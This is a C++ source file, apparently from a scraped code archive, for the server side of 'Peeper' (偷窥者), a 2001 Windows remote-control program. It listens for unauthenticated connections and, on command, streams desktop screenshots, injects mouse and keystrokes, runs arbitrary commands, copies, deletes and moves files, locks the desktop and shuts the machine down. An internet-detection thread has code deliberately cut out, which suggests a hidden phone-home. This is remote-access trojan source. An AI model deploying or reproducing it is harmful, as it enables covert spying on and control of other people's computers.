www.pudn.com > TOUKUI-1.5.zip > SocketThread.cpp
///////////////////////////////////////////////////////////////////////////////
// 远程控制软件-偷窥者 服务器端 //
// 日期:2001/10/02 //
// 作者:刘东发 //
// Email:dongfa@yeah.net //
// http://dongfa.yeah.net //
// 作者声明: //
// 此部分代码全是作者所写,可以随便传播,但要保持文件的完整性,有问题 //
// 或者意见请来信,谢谢! //
///////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "SocketThread.h"
static CWinThread *g_pSendDIBThread = NULL;
static CWinThread *g_pWaitCommandThread = NULL;
static CWinThread *g_pSendInfoThread = NULL;
static CString g_strAString = _T("");
static int g_nAInt = 0;
UINT SendInfoThread(LPVOID lParam)
{
BOOL bSend = FALSE;
while(1)
{
BOOL bOk = ::PL_DetectInternetConnect();
if(bOk)
{
TRACE("网络已连接......\n");
if(!bSend)
{
//此处删掉一些代码。。。。。。呵呵~~~~
bSend = bOk;
}
}
else
{
bSend = FALSE;
}
::Sleep(10000);
}
return 0;
}
UINT WaitCommandThread(LPVOID lParam)
{
BYTE chFlag = (BYTE)lParam;
switch(chFlag)
{
case PL_MSG:
{
if(g_strAString.GetLength() > 0)
{
::MessageBox(NULL, g_strAString, _T("Warning!"),
MB_OK | MB_ICONINFORMATION | MB_SYSTEMMODAL);
g_strAString = _T("");
}
}
break ;
case PL_FUNC_EXEC:
{
if(g_strAString.GetLength() > 0)
{
::PL_ExecuteCommand(g_strAString.GetBuffer(0));
g_strAString.ReleaseBuffer();
g_strAString = _T("");
}
}
break ;
case PL_FUNC_FILE_COPY_S:
{
if(g_strAString.GetLength() > 0 && g_nAInt > 0)
{
::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), FALSE, NULL);
g_strAString.ReleaseBuffer();
g_strAString = _T("");
g_nAInt = 0;
}
}
break ;
case PL_FUNC_FILE_COPY_C:
{
if(g_strAString.GetLength() > 0 && g_nAInt > 0)
{
::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), TRUE, NULL);
g_strAString.ReleaseBuffer();
g_strAString = _T("");
g_nAInt = 0;
}
}
break ;
default :
break ;
}
g_pWaitCommandThread = NULL;
return 0;
}
UINT SendDIBThread(LPVOID lParam)
{
int nRet = -1;
SOCKET s = (SOCKET)lParam;
//wait client receive
BYTE chData[20];
ZeroMemory(chData, 20);
nRet = ::PL_ReadSocketData(s, chData, 20, NULL);
if(nRet > 0)
{
HWND hDesktopWnd = ::GetDesktopWindow();
HBITMAP hBmp = ::PL_GetBitmap(hDesktopWnd);
HDIB hDib = NULL;
PL_ColorType ctColor = *((PL_ColorType *)(chData));
PL_ZipType ztZip = *((PL_ZipType *)(chData+sizeof(PL_ColorType)));
int nBits = 4;
switch(ctColor)
{
case color_1:
{
nBits = 1;
}
break ;
case color_4:
{
nBits = 4;
}
break ;
case color_8:
{
nBits = 8;
}
break ;
case color_24:
{
nBits = 24;
}
break ;
default :
{
nBits = 4;
}
break ;
}
hDib = ::PL_BmpToDIB(hBmp, NULL, nBits);
switch(ztZip)
{
case zip_none:
{
;
}
break ;
case zip_lz77:
{
HDIB hZipDib = (HDIB)::PL_LZ77_Zip(hDib);
::GlobalFree(hDib);
hDib = hZipDib;
}
break ;
case zip_lzw:
{
HDIB hZipDib = (HDIB)::PL_LZW_Zip(hDib);
::GlobalFree(hDib);
hDib = hZipDib;
}
break ;
case zip_jpeg:
{
}
break ;
case zip_lzss:
{
HDIB hZipDib = (HDIB)::PL_LZSS_Zip(hDib);
::GlobalFree(hDib);
hDib = hZipDib;
}
break ;
case zip_ari:
{
HDIB hZipDib = (HDIB)::PL_ARI_Zip(hDib);
::GlobalFree(hDib);
hDib = hZipDib;
}
break ;
default :
break ;
}
//send start
SIZE sz = ::PL_GetScreenSize();
int nSize = GlobalSize(hDib);
memcpy(chData, &nSize, sizeof(int));
int cx = sz.cx;
int cy = sz.cy;
memcpy(chData+sizeof(int), &cx, sizeof(int));
memcpy(chData+sizeof(int)*2, &cy, sizeof(int));
nRet = ::PL_SendSocketData(s, chData, sizeof(int)*3, PL_DIB);
//send bits
LPBYTE lpData = (LPBYTE)GlobalLock(hDib);
for(int i = 0; i < nSize/PL_SOCKET_MAXBYTES; i ++)
{
nRet = ::PL_SendSocketData(s, (BYTE *)(lpData+(i*PL_SOCKET_MAXBYTES)),
PL_SOCKET_MAXBYTES);
}
int nRem = nSize - nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES;
nRet = ::PL_SendSocketData(s, (BYTE *)(lpData + nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES), nRem);
GlobalUnlock(hDib);
::DeleteObject(hBmp);
GlobalFree(hDib);
}
g_pSendDIBThread = NULL;
return 0;
}
CSocketThread::CSocketThread(UINT uPort)
{
m_uPort = uPort;
m_sckClient[0] = INVALID_SOCKET;
m_sckClient[1] = INVALID_SOCKET;
m_sckServer = INVALID_SOCKET;
m_nBits = 4;
}
CSocketThread::~CSocketThread()
{
if(g_pSendInfoThread != NULL)
{
::TerminateThread(g_pSendInfoThread->m_hThread, 0);
::WaitForSingleObject(g_pSendInfoThread->m_hThread, INFINITE);
g_pSendInfoThread = NULL;
}
::PL_TermSocket();
ExitServer();
}
int CSocketThread::Run()
{
g_pSendInfoThread = AfxBeginThread(SendInfoThread, NULL, THREAD_PRIORITY_IDLE);
while(1)
{
if(CreateServer())
{
BYTE *chData = new BYTE[PL_SOCKET_MAXBYTES+1];
while(1)
{
ZeroMemory(chData, PL_SOCKET_MAXBYTES+1);
int nRet = ::PL_ReadSocketData(m_sckClient[0], chData, PL_SOCKET_MAXBYTES, NULL);
if(nRet != SOCKET_ERROR)
{
// 处理命令
nRet = DoReceive(chData, nRet);
}
else
{
TRACE(_T("接收数据错误,客户已经断开了......\n"));
break ;
}
}
delete []chData;
chData = NULL;
}
ExitServer();
}
return ExitInstance();
}
int CSocketThread::DoReceive(BYTE *chData, int nLen)
{
int nRet = 0;
switch(chData[0])//第一个字符为命令
{
case PL_PEEPER_VER://取服务端版本
{
char chTemp[15];
ZeroMemory(chTemp, 15);
sprintf(chTemp, "%s", PEEPER_SERVER_VER_15);
::PL_SendSocketData(m_sckClient[0], (BYTE *)chTemp, strlen(chTemp),
PL_PEEPER_VER);
}
break ;
case PL_CLOSE_PEEPER://关闭服务,退出程序
{
ExitServer();
ExitThread(0);
}
break ;
case PL_CLIENT_CLOSE://关闭连接
{
ExitServer();
}
break ;
case PL_MSG://显示一个对话框信息,使用了线程
{
g_strAString.Format(_T("%s"), chData+1);
if(g_pWaitCommandThread != NULL)
{
::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
g_pWaitCommandThread = NULL;
}
g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, (LPVOID)PL_MSG);
}
break ;
case PL_DIB://获得桌面图像
{
if(g_pSendDIBThread != NULL)
{
::TerminateThread(g_pSendDIBThread->m_hThread, 0);
::WaitForSingleObject(g_pSendDIBThread->m_hThread, INFINITE);
g_pSendDIBThread = NULL;
}
g_pSendDIBThread = AfxBeginThread(SendDIBThread, (LPVOID)m_sckClient[1]);
}
break ;
case PL_DIB_BITS://桌面图像颜色数
{
m_nBits = *((int*)(chData+1));
}
break ;
case PL_SCREEN_SIZE://显示器分辨率
{
int cx = ::GetSystemMetrics(SM_CXSCREEN);
int cy = ::GetSystemMetrics(SM_CYSCREEN);
BYTE chTemp[15];
ZeroMemory(chTemp, 15);
memcpy(chTemp, &cx, sizeof(int));
memcpy(chTemp + sizeof(int), &cy, sizeof(int));
::PL_SendSocketData(m_sckClient[0], chTemp, sizeof(int)*2);
}
case PL_MOUSE_MOVE://鼠标移动
{
POINT point;
point.x = *((int *)(chData+1));
point.y = *((int *)(chData+1+sizeof(int)));
::PL_MouseMove(point);
::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
}
break ;
case PL_MOUSE_LBUTTONDOWN://鼠标左键按下
{
POINT point;
point.x = *((int *)(chData+1));
point.y = *((int *)(chData+1+sizeof(int)));
BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
bMouseMove = !!bMouseMove;
::PL_MouseLButtonDown(point, bMouseMove);
::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
}
break ;
case PL_MOUSE_LBUTTONUP://鼠标左键弹起
{
POINT point;
point.x = *((int *)(chData+1));
point.y = *((int *)(chData+1+sizeof(int)));
BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
bMouseMove = !!bMouseMove;
::PL_MouseLButtonUp(point, bMouseMove);
::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
}
break ;
case PL_MOUSE_RBUTTONDOWN://鼠标右键按下
{
POINT point;
point.x = *((int *)(chData+1));
point.y = *((int *)(chData+1+sizeof(int)));
BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
bMouseMove = !!bMouseMove;
::PL_MouseRButtonDown(point, bMouseMove);
::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
}
break ;
case PL_MOUSE_RBUTTONUP://鼠标右键弹起
{
POINT point;
point.x = *((int *)(chData+1));
point.y = *((int *)(chData+1+sizeof(int)));
BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
bMouseMove = !!bMouseMove;
::PL_MouseRButtonUp(point, bMouseMove);
::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
}
break ;
case PL_MOUSE_LDBLCLK://鼠标左键双击
{
POINT point;
point.x = *((int *)(chData+1));
point.y = *((int *)(chData+1+sizeof(int)));
BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
bMouseMove = !!bMouseMove;
::PL_MouseLButtonDblClk(point, bMouseMove);
::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
}
break ;
case PL_MOUSE_RDBLCLK://鼠标右键双击
{
POINT point;
point.x = *((int *)(chData+1));
point.y = *((int *)(chData+1+sizeof(int)));
BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
bMouseMove = !!bMouseMove;
::PL_MouseRButtonDblClk(point, bMouseMove);
::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
}
break ;
case PL_KEY_DOWN://一个键被按下
{
UINT uChar = *((UINT *)(chData+1));
UINT uFlag = *((UINT *)(chData+sizeof(UINT)+1));
::PL_KeyDown(uChar, uFlag);
::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
}
break ;
case PL_KEY_UP://一个键被弹起
{
UINT uChar = *((UINT *)(chData+1));
UINT uFlag = *((UINT *)(chData+sizeof(UINT)+1));
::PL_KeyUp(uChar, uFlag);
::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
}
break ;
case PL_FUNC_EXEC://执行一条命令,使用了线程
{
g_strAString.Format(_T("%s"), chData+1);
if(g_pWaitCommandThread != NULL)
{
::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
g_pWaitCommandThread = NULL;
}
g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, (LPVOID)PL_FUNC_EXEC);
}
break ;
case PL_FUNC_LOCK://锁定桌面
{
BOOL bLock = *((BOOL*)(chData+1));
::PL_LockDesktop(!!bLock);
}
break ;
case PL_FUNC_EXITWIN://关机/重启/注销
{
UINT uFlag = *((UINT *)(chData+1));
::PL_ExitWindow(uFlag);
}
break ;
case PL_FUNC_CTRL_ALT_DEL://热启动,暂且不行
{
::PL_Send_CtrlAltDel();
}
break ;
case PL_FUNC_FILE_COPY_S://传送文件
{
char chFile[255];
ZeroMemory(chFile, 255);
sprintf(chFile, "%s", chData+1);
BYTE chTemp[10];
ZeroMemory(chTemp, 10);
int nRet = ::PL_ReadSocketData(m_sckClient[0], chTemp, 10);
if(nRet > 0)
{
nRet = ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
g_nAInt = *((int*)(chTemp));
g_strAString.Format(_T("%s"), chFile);
if(g_pWaitCommandThread != NULL)
{
::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
g_pWaitCommandThread = NULL;
}
g_pWaitCommandThread = AfxBeginThread(WaitCommandThread,
(LPVOID)PL_FUNC_FILE_COPY_S);
}
}
break ;
case PL_FUNC_FILE_COPY_C:
{
char chFile[255];
ZeroMemory(chFile, 255);
sprintf(chFile, "%s", chData+1);
BYTE chTemp[10];
ZeroMemory(chTemp, 10);
int nRet = ::PL_ReadSocketData(m_sckClient[0], chTemp, 10);
if(nRet > 0)
{
nRet = ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
g_nAInt = *((int*)(chTemp));
g_strAString.Format(_T("%s"), chFile);
if(g_pWaitCommandThread != NULL)
{
::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
g_pWaitCommandThread = NULL;
}
g_pWaitCommandThread = AfxBeginThread(WaitCommandThread,
(LPVOID)PL_FUNC_FILE_COPY_C);
}
}
break ;
case PL_FUNC_FILE_DELETE:
{
char chFile[255];
ZeroMemory(chFile, 255);
sprintf(chFile, "%s", chData+1);
BOOL bRet = ::PL_DeleteFile(chFile);
ZeroMemory(chFile, 255);
memcpy(chFile, &bRet, sizeof(BOOL));
::PL_SendSocketData(m_sckClient[0], (BYTE*)chFile, sizeof(BOOL), PL_RETURN_BOOL);
}
break ;
case PL_FUNC_FILE_MOVE:
{
char chSrcFile[255];
ZeroMemory(chSrcFile, 255);
sprintf(chSrcFile, "%s", chData+1);
char chDesFile[255];
ZeroMemory(chDesFile, 255);
nRet = ::PL_ReadSocketData(m_sckClient[0], (BYTE*)chDesFile, 255, NULL);
if(nRet > 0)
{
BOOL bRet = ::PL_MoveFile(chSrcFile, chDesFile);
ZeroMemory(chSrcFile, 255);
memcpy(chSrcFile, &bRet, sizeof(BOOL));
::PL_SendSocketData(m_sckClient[0], (BYTE*)chSrcFile,
sizeof(BOOL), PL_RETURN_BOOL);
}
}
break ;
default :
break ;
}
return nRet;
}
BOOL CSocketThread::CreateServer()
{
BOOL bRet = FALSE;
bRet = ::PL_InitSocket();
if(!bRet)
{
return bRet;
}
char chName[256];
sockaddr_in addr;
hostent* pEnt = NULL;
int addrlen = 0, nRet = 0;
nRet = ::gethostname(chName, 256);
if(nRet == 0)
{
m_sckServer = socket(AF_INET, SOCK_STREAM, 0);
if(m_sckServer != INVALID_SOCKET)
{
pEnt = ::gethostbyname(chName);
if(pEnt)
{
addr.sin_family = AF_INET;
addr.sin_port = htons(m_uPort);
addr.sin_addr.s_addr = INADDR_ANY;
nRet = ::bind(m_sckServer, (sockaddr*)&addr, sizeof(addr));
if(nRet != SOCKET_ERROR)
{
nRet = ::listen(m_sckServer, SOMAXCONN);
if(nRet != SOCKET_ERROR)
{
addrlen = sizeof(addr);
TRACE(_T("开始了服务,等待客户......\n"));
m_sckClient[0] = ::accept(m_sckServer, (sockaddr*)&addr, &addrlen);
if(m_sckClient[0] != INVALID_SOCKET)
{
//为了同步
::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP, MSG_OOB);
}
m_sckClient[1] = ::accept(m_sckServer, (sockaddr*)&addr, &addrlen);
if(m_sckClient[0] != INVALID_SOCKET &&
m_sckClient[1] != INVALID_SOCKET)
{
TRACE(_T("客户连接上了.......\n"));
char chTemp[256];
ZeroMemory(chTemp, 256);
sockaddr_in name1;
sockaddr_in name2;
int nSize = sizeof(sockaddr_in);
int nRet1 = ::getpeername(m_sckClient[0], (sockaddr*)&name1, &nSize);
int nRet2 = ::getpeername(m_sckClient[1], (sockaddr*)&name2, &nSize);
if(nRet1 == 0 && nRet2 == 0)
{
sprintf(chTemp, "Connect is OK.\r\nServer Computer Name:%s,IP:%d.%d.%d.%d,Port:%d.\r\nClient[0]:IP=%d.%d.%d.%d Port=%d.\r\nClient[1]:IP=%d.%d.%d.%d Port=%d.",
chName,
(unsigned char)(pEnt->h_addr_list[0][0]),
(unsigned char)(pEnt->h_addr_list[0][1]),
(unsigned char)(pEnt->h_addr_list[0][2]),
(unsigned char)(pEnt->h_addr_list[0][3]),
m_uPort,
name1.sin_addr.S_un.S_un_b.s_b1,
name1.sin_addr.S_un.S_un_b.s_b2,
name1.sin_addr.S_un.S_un_b.s_b3,
name1.sin_addr.S_un.S_un_b.s_b4,
name1.sin_port,
name2.sin_addr.S_un.S_un_b.s_b1,
name2.sin_addr.S_un.S_un_b.s_b2,
name2.sin_addr.S_un.S_un_b.s_b3,
name2.sin_addr.S_un.S_un_b.s_b4,
name2.sin_port);
}
else
{
strcpy(chTemp, "Connect is OK.");
}
nRet = ::PL_SendSocketData(m_sckClient[0], (BYTE *)chTemp, strlen(chTemp)+1, MSG_OOB);
bRet = TRUE;
}
}
}
}
}
}
return bRet;
}
BOOL CSocketThread::ExitServer()
{
TRACE(_T("退出服务,重新等待连接......\n"));
if(g_pSendDIBThread != NULL)
{
::TerminateThread(g_pSendDIBThread->m_hThread, 0);
::WaitForSingleObject(g_pSendDIBThread->m_hThread, INFINITE);
g_pSendDIBThread = NULL;
}
if(g_pWaitCommandThread != NULL)
{
::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
g_pWaitCommandThread = NULL;
}
if(m_sckClient[0] != INVALID_SOCKET)
{
::closesocket(m_sckClient[0]);
}
if(m_sckClient[1] != INVALID_SOCKET)
{
::closesocket(m_sckClient[1]);
}
if(m_sckServer != INVALID_SOCKET)
{
::closesocket(m_sckServer);
}
m_sckClient[0] = INVALID_SOCKET;
m_sckClient[1] = INVALID_SOCKET;
m_sckServer = INVALID_SOCKET;
return TRUE;
}